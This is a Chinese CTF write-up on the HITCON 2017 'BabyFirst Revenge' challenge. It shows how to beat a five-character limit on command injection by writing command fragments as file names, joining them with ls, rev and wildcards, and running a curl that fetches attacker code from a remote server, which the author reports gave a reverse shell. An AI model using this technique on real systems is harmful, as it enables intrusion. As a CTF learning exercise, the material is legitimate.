命令注入突破长度限制

命令注入突破长度限制

碰见了不少像这样的题
在这里插入图片描述
原型来自 HITCON CTF 2017 的 BabyFirst Revenge

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

这道题目题意:根据访问者的IP为其在sandbox里新建一个文件夹并作为其工作目录,接受并执行访问者提交的命令。命令限制长度5(无回显),访问者可以通过提交reset来重置内容。
在网上看了一些wp及突破长度限制的方法,实际操作下。
大致思路:我们想到把命令写到文件里执行下载远程服务器上的webshell然后执行
怎么突破限制,把一条下载命令分解成小于等于5字符的片段设成文件名
(也就是创好多文件,文件名就是要执行命令的片段),
最后读取所有的文件名到一个文件里执行。

5个字符内创文件还是很轻松的,演示如下
在这里插入图片描述
创建一个名字为A的文件2个字符搞定
尝试把当前目录所有文件名定向输入一个文件内:
在这里插入图片描述
试了下单个> 效果竟然一样,又省了一个字符
在这里插入图片描述
这里其实是将ls命令的结果重定向到A文件中,其它命令的结果也可以这样用
接下来要考虑文档内片段命令的可执行性,看下图
在这里插入图片描述
我们一个个字母写echo 1,中间用\分割,运行完全ojbk
几个大问题解决了
再补充补充一些知识点
下载文件
(涂抹处为我们的远程服务器地址)
在这里插入图片描述
curl 是直接回显的,wget则是下载到一个文件里
开始测试
将curl ip >A(ip公网服务器,这里我用了10进制)分割输入到A中

在这里插入图片描述
补:IP地址本质上就是一个整数,只是通常用点分十进制表示, 如果需要,我们可以用十六进制、长整数、八进制表示IP,大部分情况下效果是相同的。
在这里插入图片描述
又出现一个问题,ls执行的结果输出的顺序有点问题(思考:我们怎么使ls的结果按我们想要的排布?)
这里我用了ls参数 -t 按时间顺序(新的在前) -r (反序)
在这里插入图片描述
对是对了,但长度超了
在这里插入图片描述
执行一下,成功反弹到shell
在这里插入图片描述
就上面5字符我们再来看下,有一处超出了5字符
ls -tr>A
如果我们逆序写,那么ls -t>A 6个字符还不行 可不可以通过其他方法呢
搜了搜ls默认排序 是按字母表排序的(具体是什么可以百度看看)
难点就是根据默认排序构造文件名(命令片段过多,未实现),使ls>A生成的命令可以执行这就满足了5字符
看了https://www.freebuf.com/articles/web/154453.html这篇文章,学习了另一种思路,遇到了问题都迎刃而解了。
我们在构造curl语句前(语句顺序难以以5个字符内命令排布好,这是我们的问题),先构造出我们的排序语句ls-ht>g(-h只是为了满足我们对这几个残缺命令的顺序要求)
看下面一波操作:
在这里插入图片描述
dir:查看当前目录内容与ls相似,但还是有区别的
在这里插入图片描述
一目了然
rev(文件):反序显示文件的内容
*:通配符,这里的作用是匹配命令(可执行,无任何参数应该是按字母表顺序匹配)
回到刚才的问题,v文件可以替换成别的名字么?
它的作用*v>x = rev v>x , *v可以匹配到rev v,这样看v换成r是不是也行,试试
在这里插入图片描述
…尴尬,原来是从后往前匹配的
那么我们的疑惑全都解决了,排序语句搞定后加一个;与后面curl语句分开
整个过程(>sl,>ht-,>g>顺序任意)
在这里插入图片描述
把所有文件名做了个排序输入到了g文件中
在这里插入图片描述
我们服务器上的攻击代码已经写入到了A文件,执行即可
在这里插入图片描述
回看整个流程我们的命令没有超过4个字符的(shell环境需要输入\产生\,但是php代码exec时,只需要输入\即可产生,所以做到这题目时不会超过4字符)
嗯 算是超额完成任务了
hell环境需要输入\产生\,但是php代码exec时,只需要输入\即可产生,所以做到这题目时不会超过4字符)
嗯 算是超额完成任务了

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值